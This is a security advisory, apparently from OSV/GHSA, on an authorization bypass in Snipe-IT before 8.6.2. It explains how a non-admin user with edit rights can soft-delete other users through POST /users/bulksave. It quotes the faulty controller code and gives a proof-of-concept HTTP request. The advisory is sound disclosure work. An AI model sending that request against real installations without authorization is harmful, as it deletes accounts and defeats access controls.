Snipe-IT has an authorization bypass on bulk editing users
Impact
An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Source excerpt · OSVThe UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
| Affected range | Recorded fix |
|---|---|
| Earlier releases before 8.6.2Ecosystem versions | 8.6.2 |
Version evidence: OSV · GHSA-vgx7-c78r-69w9
View original version evidence (278 explicit versions)
Original source description
Impact
An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Attacker Model
Authenticated non-admin user with:
{"users.view":"1","users.edit":"1"}
The attacker does not have users.delete, admin, or superuser.
Affected Component
-
routes/web/users.php -
app/Http/Controllers/Users/BulkUsersController.php -
Endpoint:
POST /users/bulksave
Root Cause
The UI only exposes bulk delete to users with delete permission:
@can('delete', \App\Models\User::class)
<option value="delete">...</option>
<option value="merge">...</option>
@endcan
The confirmation path also checks delete:
} elseif ($request->input('bulk_actions') == 'delete') {
$this->authorize('delete', User::class);
However, the destructive route is registered separately:
Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
->name('users/bulksave');
and destroy() authorizes only update:
public function destroy(Request $request)
{
$this->authorize('update', User::class);
When delete_user=1 is present, the method reaches:
$user->delete();
Proof of Concept
-
Create a non-admin attacker account with
users.viewandusers.edit, but notusers.delete. -
Create a harmless non-admin target user.
-
Log in as the attacker and obtain a valid CSRF token.
-
Send:
POST /users/bulksave HTTP/1.1
Host: <snipe-it-host>
Cookie: snipeit_session=<attacker-session>
Content-Type: application/x-www-form-urlencoded
_token=<csrf-token>
ids[]=<target-user-id>
delete_user=1
status_id=<valid-status-id>
Observed response:
HTTP/1.1 302 Found
Location: http://<snipe-it-host>/users
Patches
Patched in 374f426f0c
References
- Security advisory github.com/grokability/snipe-it/security/advisories/GHSA-vgx7-c78r-69w9
- Security advisory nvd.nist.gov/vuln/detail/CVE-2026-55460
- Patch github.com/grokability/snipe-it/commit/374f426f0c6bb7a4f129f7b85051cc1da753a0f5
- Source reference github.com/grokability/snipe-it
- Release notes github.com/grokability/snipe-it/releases/tag/v8.6.2